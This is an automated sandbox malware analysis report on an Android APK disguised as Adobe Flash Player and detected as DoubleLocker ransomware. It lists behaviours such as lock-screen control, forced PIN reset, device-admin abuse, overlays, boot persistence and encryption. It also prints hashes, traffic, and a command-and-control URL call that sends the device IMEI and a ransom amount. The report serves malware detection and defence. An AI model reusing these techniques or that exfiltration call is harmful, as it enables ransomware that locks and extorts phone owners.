Analysis Report

Overview

General Information

Joe Sandbox Version:	20.0.0
Analysis ID:	388662
Start time:	12:44:37
Joe Sandbox Product:	Cloud
Start date:	16.10.2017
Overall analysis duration:	0h 4m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	MAy0fKgk7o
Cookbook file name:	defaultandroidfilecookbook.jbs
Analysis system description:	Android x86 6.0 EEE PC
Detection:	MAL
Classification:	mal84.evad.rans.troj.and@0/251@10/0
Warnings:	Show All No interacted views Not all executed log events are in report (maximum 10 identical API calls)

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	84	0 - 100	Report FP / FN

Classification

Signature Overview

Click to jump to signature section

Change of System Appearance:

May access the Android keyguard (lock screen)

Show sources

Source: AndroidManifest.xml	String found in binary or memory: android.permission.GET_ACCOUNTS&android.permission.SYSTEM_ALERT_WINDOW$android.permission.ACCESS_WIFI_STATE'android.permission.CHANGE_NETWORK_STATE$android.permission.CHANGE_WIFI_STATE!android.permission.WRITE_SETTINGS,android.permission.KILL_BACKGROUND_PROCESSES android.permission.READ_CONTACTS(android.permission.READ_EXTERNAL_STORAGE)android.permission.WRITE_EXTERNAL_STORAGE(android.permission.READ_INTERNAL_STORAGE)android.permission.WRITE_INTERNAL_STORAGE#android.permission.DISABLE_KEYGUARD
Source: classes.dex	String found in binary or memory: *Landroid/app/KeyguardManager$KeyguardLock;
Source: classes.dex	String found in binary or memory: Landroid/app/KeyguardManager;
Source: classes.dex	String found in binary or memory: disableKeyguard
Source: classes.dex	String found in binary or memory: inKeyguardRestrictedInputMode
Source: classes.dex	String found in binary or memory: newKeyguardLock
Source: classes.dex	String found in binary or memory: Landroid/app/Activity;*Landroid/app/KeyguardManager$KeyguardLock;
Source: classes.dex	String found in binary or memory: Landroid/app/KeyguardManager;"Landroid/app/Notification$Builder;
Source: android	String found in binary or memory: keyguard

Operating System Destruction:

Lists and deletes files in the same context

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.e;->a:31

API Calls in same method context: File.listFiles,File.delete

Spam, unwanted Advertisements and Ransom Demands:

Blocks or controls phone keys

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl;->onCreate:56	API Call: android.app.KeyguardManager.newKeyguardLock
Source: owd.qusutsqfdo.mbpepvxhxly.f;->b:146	API Call: android.app.KeyguardManager.newKeyguardLock
Source: owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl;->onCreate:310	API Call: android.app.KeyguardManager.newKeyguardLock
Source: owd.qusutsqfdo.mbpepvxhxly.q;->run:177	API Call: android.app.KeyguardManager.newKeyguardLock

Tries to disable the administrator user

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.f;->b:152

API Call: android.app.admin.DevicePolicyManager.removeActiveAdmin

Detected Ransomware DoubleLocker

Show sources

Source: Lowd/qusutsqfdo/mbpepvxhxly/f;-><clinit>()V	Method string: ".cryeye"
Source: Lowd/qusutsqfdo/mbpepvxhxly/f;-><clinit>()V	Method string: "crypt_key"
Source: Lowd/qusutsqfdo/mbpepvxhxly/f;-><clinit>()V	Method string: "AES/ECB/NoPadding"

Privilege Escalation:

Checks if the device administrator is active

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.w;->run:17	API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: owd.qusutsqfdo.mbpepvxhxly.q;->run:113	API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: owd.qusutsqfdo.mbpepvxhxly.lIllIIIllLlllIIIllIIlllLIlllIllIllIllLllIIILllIllllllIII;->onAccessibilityEvent:152	API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: owd.qusutsqfdo.mbpepvxhxly.lIllIIIllLlllIIIllIIlllLIlllIllIllIllLllIIILllIllllllIII;->onAccessibilityEvent:160	API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: owd.qusutsqfdo.mbpepvxhxly.lIllllllllIILIIIllLLIIIllIIllILIllllIlllIIIllIllllIIllll;->onCreate:31	API Call: android.app.admin.DevicePolicyManager.isAdminActive

Forces setting a new device unlock password

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl;->onCreate:52	API Call: android.app.admin.DevicePolicyManager.resetPassword
Source: owd.qusutsqfdo.mbpepvxhxly.f;->b:141	API Call: android.app.admin.DevicePolicyManager.resetPassword
Source: owd.qusutsqfdo.mbpepvxhxly.q;->run:172	API Call: android.app.admin.DevicePolicyManager.resetPassword

Starts an activity on device admin enabled

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.lIIllLllIlIILIIIlllllllIIllIlIIlllllIlIlIlIlllLlLllIllII;->onDisableRequested:30

API Call: android.content.Context.startActivity (not executed)

Starts/registers a service/receiver on device admin enabled

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.lIIllLllIlIILIIIlllllllIIllIlIIlllllIlIlIlIlllLlLllIllII;->onDisableRequested:24	API Call: android.content.Context.startService (not executed)
Source: owd.qusutsqfdo.mbpepvxhxly.lIIllLllIlIILIIIlllllllIIllIlIIlllllIlIlIlIlllLlLllIllII;->onDisableRequested:26	API Call: android.content.Context.startService (not executed)

E-Banking Fraud:

Has functionalty to add an overlay to other apps

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.IllIlLIIlllLllIIlIIlllIlIllIIllllILllllIlllllllIILlIIlII;->onCreate:24	API Call: WindowManager.addView
Source: owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI;->onCreate:28	API Call: WindowManager.addView
Source: owd.qusutsqfdo.mbpepvxhxly.lIIllLllIlIILIIIlllllllIIllIlIIlllllIlIlIlIlllLlLllIllII;->onDisableRequested:19	API Call: WindowManager.addView
Source: owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl;->onCreate:305	API Call: WindowManager.addView
Source: owd.qusutsqfdo.mbpepvxhxly.s;->onClick:22	API Call: WindowManager.addView

Has permission to query the list of currently running applications

Show sources

Source: submitted apk

Request permission: android.permission.GET_TASKS

Networking:

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: recore.pw

Urls found in memory or binary data

Show sources

Source: android	String found in binary or memory: http://recore.pw/synabvncabvaj.php
Source: android	String found in binary or memory: http://recore.pw/synabvncabvaj.php?action=qr_code&addr=&amount=0.0130&imei=065925473717766
Source: mntrdxnn.xml, buttonshape.xml	String found in binary or memory: http://schemas.android.com/apk/res/android

Uses HTTP for connecting to the internet

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll;->a:23	API Call: org.apache.http.impl.client.DefaultHttpClient.execute
Source: owd.qusutsqfdo.mbpepvxhxly.p;->b:72	API Call: org.apache.http.impl.client.DefaultHttpClient.execute

Checks an internet connection is available

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll;->a:48	API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll;->a:49	API Call: android.net.NetworkInfo.isAvailable
Source: owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll;->a:50	API Call: android.net.NetworkInfo.isConnected

Enables or disables WIFI

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.LlIIllllllLlllIlLIlllIllLlIllIlllIIlIIlIlIllIIIIlIIlIlll;->onCreate:17	API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl;->a:179	API Call: android.net.wifi.WifiManager.setWifiEnabled

Opens an internet connection

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.k;->b:134

API Call: java.net.URL.openConnection("http://recore.pw/sYnAbvNCAbvAJ.php?action=qr_code&addr=&amount=0.0130&imei=065925473717766")

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Show sources

Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: recore.pw replaycode: Name error (3)

Boot Survival:

Has permission to execute code after phone reboot

Show sources

Source: submitted apk

Request permission: android.permission.RECEIVE_BOOT_COMPLETED

Starts/registers a service/receiver on phone boot (autostart)

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.llIlllIIlllIlILlIlIlIllLIlLIIlllIllIIllIlIIlIllLllIllllI;->onReceive:5	API Call: android.app.Application.startService("Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll }")
Source: owd.qusutsqfdo.mbpepvxhxly.llIlllIIlllIlILlIlIlIllLIlLIIlllIllIIllIlIIlIllLllIllllI;->onReceive:5	API Call: android.app.Application.startService("Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll }")
Source: owd.qusutsqfdo.mbpepvxhxly.llIlllIIlllIlILlIlIlIllLIlLIIlllIllIIllIlIIlIllLllIllllI;->onReceive:7	API Call: android.app.Application.startService("Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.lLllIIllllIlllIlIIlILIIlIlLlIIllLlllllIIIllIlllllllIIlII }")
Source: owd.qusutsqfdo.mbpepvxhxly.llIlllIIlllIlILlIlIlIllLIlLIIlllIllIIllIlIIlIllLllIllllI;->onReceive:7	API Call: android.app.Application.startService("Intent { cmp=owd.qusutsqfdo.mbpepvxhxly/.lLllIIllllIlllIlIIlILIIlIlLlIIllLlllllIIIllIlllllllIIlII }")

Stealing of Sensitive Information:

Has permission to read contacts

Show sources

Source: submitted apk

Request permission: android.permission.READ_CONTACTS

Has permission to read the phones state (phone number, device IDs, active call ect.)

Show sources

Source: submitted apk

Request permission: android.permission.READ_PHONE_STATE

Has permissions to create, read or change account settings (inlcuding account password settings)

Show sources

Source: submitted apk

Request permission: android.permission.GET_ACCOUNTS

Persistence and Installation Behavior:

Checks if permissions to draw over other Apps is granted

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.q;->b:65

API Call: android.provider.Settings.isCallingPackageAllowedToDrawOverlays

Tries to get accessibilty permissions (for UI automation)

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.j;->run:19

API Call: owd.qusutsqfdo.mbpepvxhxly.lLllIIllllIlllIlIIlILIIlIlLlIIllLlllllIIIllIlllllllIIlII.startActivity

Data Obfuscation:

Uses reflection

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.q;->b:65	API Call: Real call: null
Source: owd.qusutsqfdo.mbpepvxhxly.q;->b:65	API Call: Real call: public static boolean android.provider.Settings.isCallingPackageAllowedToDrawOverlays(android.content.Context,int,java.lang.String,boolean)
Source: owd.qusutsqfdo.mbpepvxhxly.LlIIllllllLlllIlLIlllIllLlIllIlllIIlIIlIlIllIIIIlIIlIlll;->onCreate:28	API Call: java.lang.reflect.Field.get
Source: owd.qusutsqfdo.mbpepvxhxly.LlIIllllllLlllIlLIlllIllLlIllIlllIIlIIlIlIllIIIIlIIlIlll;->onCreate:39	API Call: java.lang.reflect.Method.invoke
Source: owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl;->a:190	API Call: java.lang.reflect.Field.get
Source: owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl;->a:201	API Call: java.lang.reflect.Method.invoke

Spreading:

Has permission to change the WIFI configuration including connecting and disconnecting

Show sources

Source: submitted apk

Request permission: android.permission.CHANGE_WIFI_STATE

System Summary:

Classification label

Show sources

Source: classification engine

Classification label: mal84.evad.rans.troj.and@0/251@10/0

Reads shares settings

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.y;->a:5	API Call: "crypt_key":
Source: owd.qusutsqfdo.mbpepvxhxly.y;->a:5	API Call: "wallet":
Source: owd.qusutsqfdo.mbpepvxhxly.y;->a:22	API Call: android.content.SharedPreferences.getBoolean

Requests potentially dangerous permissions

Show sources

Source: submitted apk	Request permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apk	Request permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apk	Request permission: android.permission.GET_TASKS
Source: submitted apk	Request permission: android.permission.INTERNET
Source: submitted apk	Request permission: android.permission.READ_CONTACTS
Source: submitted apk	Request permission: android.permission.READ_PHONE_STATE
Source: submitted apk	Request permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apk	Request permission: android.permission.WAKE_LOCK
Source: submitted apk	Request permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apk	Request permission: android.permission.WRITE_SETTINGS

Malware Analysis System Evasion:

Accesses android OS build fields

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.k;->a:52	Field Access: android.os.Build.MODEL
Source: owd.qusutsqfdo.mbpepvxhxly.v;->b:28	Field Access: android.os.Build$VERSION.RELEASE

Hooking and other Techniques for Hiding and Protection:

Uses Crypto APIs

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.ag;-><clinit>:118	API Call: java.security.MessageDigest.getInstance
Source: owd.qusutsqfdo.mbpepvxhxly.ag;->a:235	API Call: java.security.MessageDigest.update
Source: owd.qusutsqfdo.mbpepvxhxly.ag;->a:237	API Call: java.security.MessageDigest.digest
Source: owd.qusutsqfdo.mbpepvxhxly.ag;->b:450	API Call: java.security.MessageDigest.update
Source: owd.qusutsqfdo.mbpepvxhxly.ag;->b:452	API Call: java.security.MessageDigest.digest
Source: owd.qusutsqfdo.mbpepvxhxly.f;->a:62	API Call: javax.crypto.Cipher.getInstance
Source: owd.qusutsqfdo.mbpepvxhxly.f;->a:63	API Call: javax.crypto.Cipher.init
Source: owd.qusutsqfdo.mbpepvxhxly.f;->a:64	API Call: javax.crypto.Cipher.doFinal
Source: owd.qusutsqfdo.mbpepvxhxly.f;->b:234	API Call: javax.crypto.Cipher.getInstance
Source: owd.qusutsqfdo.mbpepvxhxly.f;->b:235	API Call: javax.crypto.Cipher.init
Source: owd.qusutsqfdo.mbpepvxhxly.f;->b:236	API Call: javax.crypto.Cipher.doFinal
Source: owd.qusutsqfdo.mbpepvxhxly.k;->a:41	API Call: javax.crypto.KeyGenerator.generateKey

Has permission to draw over other applications or user interfaces

Show sources

Source: submitted apk

Request permission: android.permission.SYSTEM_ALERT_WINDOW

Has permission to query the list of currently running applications

Show sources

Source: submitted apk

Request permission: android.permission.GET_TASKS

Has permission to terminate background processes of other applications

Show sources

Source: submitted apk

Request permission: android.permission.KILL_BACKGROUND_PROCESSES

Removes its application launcher (likely to stay hidden)

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.af;->a:19

API Call: android.content.pm.PackageManager.setComponentEnabledSetting

Language, Device and Operating System Detection:

Queries the SIM provider name (SPN - Service Provider Name)

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.v;->b:22

API Call: android.telephony.TelephonyManager.getSimOperatorName

Queries the network operator name

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl;->b:275

API Call: android.telephony.TelephonyManager.getNetworkOperatorName

Queries the unqiue device ID (IMEI, MEID or ESN)

Show sources

Source: owd.qusutsqfdo.mbpepvxhxly.af;->a:9	API Call: android.telephony.TelephonyManager.getDeviceId
Source: owd.qusutsqfdo.mbpepvxhxly.v;->b:21	API Call: android.telephony.TelephonyManager.getLine1Number

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshot

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection
recore.pw	unknown	unknown	true

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	Flag	ASN	ASN Name	Malicious
8.8.8.8	United States		15169	GOOGLE-GoogleIncUS	false
66.102.1.188	United States		15169	GOOGLE-GoogleIncUS	false

Static File Info

General
File type:	Zip archive data, at least v2.0 to extract
TrID:	Android Package (19004/1) 52.05% Java Archive (13504/1) 36.99% ZIP compressed archive (4004/1) 10.97%
File name:	MAy0fKgk7o
File size:	368272
MD5:	85cfbd81ff6729927c968fbbb2d1d84d
SHA1:	01d962f809ae061d1895cf71db9eeb07900929b8
SHA256:	79e602a062d05fbb1409afc16e6d41ac0645576b2b5c1899dc93e6852c30a71f
SHA512:	26b24f7ee92e1185aa9f1160582c60cde8a814732dc3d293085eb0bf14fa48efe47f182d40d2bdb06f83f62e505ef542d5a042f2d2fc037811d70eb3c5865c86
File Content Preview:	PK........{..K................META-INF/MANIFEST.MF..I..H...%......*6c.....,.0^.s.0..3.....=Uju...j...G.\|..+'....^..(#..{....'.....^......y...._Z....".....n.......v2..K...W8.sN.W.B.F.....S......../.O;..^.....o/.d#.+.E%........mG.....G....@^...O..e..2..b.ld

File Icon

Static APK Info

General
Label:	Adobe Flash Player
Minimum SDK required:	8
Target SDK required:	16
Version Code:	1
Version Name:	1
Package Name:	owd.qusutsqfdo.mbpepvxhxly
Is Activity:	true
Is Receiver:	true
Is Service:	true
Requests System Level Permissions:	false
Play Store Compatible:	true

Activities

Name	Is Entrypoint
owd.qusutsqfdo.mbpepvxhxlyowd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl	true
owd.qusutsqfdo.mbpepvxhxlyowd.qusutsqfdo.mbpepvxhxly.lIllllllllIILIIIllLLIIIllIIllILIllllIlllIIIllIllllIIllll
owd.qusutsqfdo.mbpepvxhxlyowd.qusutsqfdo.mbpepvxhxly.LlIIllllllLlllIlLIlllIllLlIllIlllIIlIIlIlIllIIIIlIIlIlll

Receivers

owd.qusutsqfdo.mbpepvxhxly.lIIllLllIlIILIIIlllllllIIllIlIIlllllIlIlIlIlllLlLllIllII	Intent: android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED, android.app.action.DEVICE_ADMIN_ENABLED, android.app.action.DEVICE_ADMIN_DISABLED
owd.qusutsqfdo.mbpepvxhxly.llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll
owd.qusutsqfdo.mbpepvxhxly.llIlllIIlllIlILlIlIlIllLIlLIIlllIllIIllIlIIlIllLllIllllI	Intent: android.intent.action.REBOOT (Priority 999), android.intent.action.BOOT_COMPLETED (Priority 999), android.intent.action.QUICKBOOT_POWERON (Priority 999), android.intent.action.REBOOT (Priority 1000), android.intent.action.BOOT_COMPLETED (Priority 1000), android.intent.action.QUICKBOOT_POWERON (Priority 1000)

Services

.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI
.lIllIIIllLlllIIIllIIlllLIlllIllIllIllLllIIILllIllllllIII	Intent: android.accessibilityservice.AccessibilityService (Priority 0)
.lLllIIllllIlllIlIIlILIIlIlLlIIllLlllllIIIllIlllllllIIlII
owd.qusutsqfdo.mbpepvxhxly.IllIlLIIlllLllIIlIIlllIlIllIIllllILllllIlllllllIILlIIlII
owd.qusutsqfdo.mbpepvxhxly.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll
owd.qusutsqfdo.mbpepvxhxly.llllllIlIlLLIIlILIIIIlllllIllIIIllIIllIlIlllllLllllIIlIl

Permission Requested

android.permission.ACCESS_NETWORK_STATE

android.permission.ACCESS_WIFI_STATE

android.permission.BIND_ACCESSIBILITY_SERVICE

android.permission.CHANGE_NETWORK_STATE

android.permission.CHANGE_WIFI_STATE

android.permission.DISABLE_KEYGUARD

android.permission.GET_ACCOUNTS

android.permission.GET_TASKS

android.permission.INTERNET

android.permission.KILL_BACKGROUND_PROCESSES

android.permission.READ_CONTACTS

android.permission.READ_EXTERNAL_STORAGE

android.permission.READ_INTERNAL_STORAGE

android.permission.READ_PHONE_STATE

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.SYSTEM_ALERT_WINDOW

android.permission.WAKE_LOCK

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.WRITE_INTERNAL_STORAGE

android.permission.WRITE_SETTINGS

Certificate

Name:	classes.dex
Issuer:	CN=Putwk Wmonsckt,OU=Zdagtbdix,O=Cpvmqb,L=Iepmcs,ST=Tppqwgfcw,C=US
Subject:	CN=Putwk Wmonsckt,OU=Zdagtbdix,O=Cpvmqb,L=Iepmcs,ST=Tppqwgfcw,C=US

Resources

Name	Type
up.xml	DBase 3 data file (472 records)
ic_launcher.png	PNG image, 48 x 48, 8-bit/color RGBA, non-interlaced
resources.arsc	data
ic_launcher_x.png	PNG image, 96 x 96, 8-bit/color RGBA, non-interlaced
15034102.RSA	data
warn.png	PNG image, 80 x 80, 8-bit colormap, non-interlaced
hnkxxsrh.xml	DBase 3 data file (556 records)
buttonshape_x.xml	DBase 3 data file (436 records)
AndroidManifest.xml	DBase 3 data file (11220 records)
shape_html_dialog.xml	DBase 3 data file (932 records)
up_line.png	PNG image, 62 x 15, 8-bit colormap, non-interlaced
logotop.png	PNG image, 900 x 198, 8-bit/color RGBA, non-interlaced
btc_icon.png	PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
kzzvrjke.xml	DBase 3 data file (756 records)
ic_launcher.png	PNG image, 96 x 96, 8-bit/color RGBA, non-interlaced
down_line.png	PNG image, 62 x 15, 8-bit colormap, non-interlaced
xvutlkzj.xml	DBase 3 data file (2900 records)
icon_3.png	PNG image, 96 x 96, 8-bit colormap, non-interlaced
ic_launcher_x.png	PNG image, 72 x 72, 8-bit/color RGBA, non-interlaced
hmxarzwx.xml	DBase 3 data file (10200 records)
hnkxxsrh.xml	DBase 3 data file (292 records)
jmflqiez.xml	DBase 3 data file (2324 records)
splash.png	PNG image, 600 x 328, 8-bit/color RGBA, non-interlaced
ic_launcher.png	PNG image, 144 x 144, 8-bit/color RGBA, non-interlaced
vvnvvdxx.xml	DBase 3 data file (372 records)
down.xml	DBase 3 data file (472 records)
mntrdxnn.xml	DBase 3 data file (1236 records)
icon_2.png	PNG image, 96 x 96, 8-bit colormap, non-interlaced
buttonshape.xml	DBase 3 data file (436 records)
ic_launcher_x.png	PNG image, 48 x 48, 8-bit/color RGBA, non-interlaced
hnkxxsrh.xml	DBase 3 data file (680 records)
MANIFEST.MF	ASCII text, with CRLF line terminators
icon_1.png	PNG image, 96 x 96, 8-bit colormap, non-interlaced
ic_launcher_x.png	PNG image, 144 x 144, 8-bit/color RGBA, non-interlaced
15034102.SF	ASCII text, with CRLF line terminators
mntrdxnn.xml	DBase 3 data file (1192 records)
ic_launcher.png	PNG image, 72 x 72, 8-bit/color RGBA, non-interlaced
classes.dex	Dalvik dex file version 035

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 16, 2017 12:44:59.998811960 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:44:59.998910904 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:44:59.999120951 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.000303030 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.000343084 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:00.746284008 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:00.746324062 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:00.746334076 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:00.746575117 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.746649027 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.746687889 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.812926054 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:00.813215971 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.817329884 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:00.817372084 CEST	5228	38203	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:00.817749023 CEST	38203	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:10.765238047 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:10.765300989 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:10.765486002 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:10.766050100 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:10.766078949 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:11.313920975 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:11.313957930 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:11.313967943 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:11.314297915 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:11.314373970 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:11.314416885 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:11.355232000 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:11.355496883 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:11.360654116 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:11.360693932 CEST	5228	32781	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:11.361176014 CEST	32781	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:30.768836975 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:30.768903017 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:30.769104004 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:30.770199060 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:30.770236015 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.368232965 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.368273020 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.368282080 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.376475096 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.377346039 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:31.377474070 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:31.377521992 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:31.377561092 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:31.507029057 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.561839104 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:31.567493916 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:45:31.567516088 CEST	5228	47425	66.102.1.188	192.168.1.34
Oct 16, 2017 12:45:31.567748070 CEST	47425	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:00.664580107 CEST	48286	53	192.168.1.34	8.8.8.8
Oct 16, 2017 12:46:01.495754957 CEST	53	48286	8.8.8.8	192.168.1.34
Oct 16, 2017 12:46:10.277817965 CEST	35284	5228	192.168.1.34	66.102.1.188
Oct 16, 2017 12:46:10.277882099 CEST	5228	35284	66.102.1.188	192.168.1.34
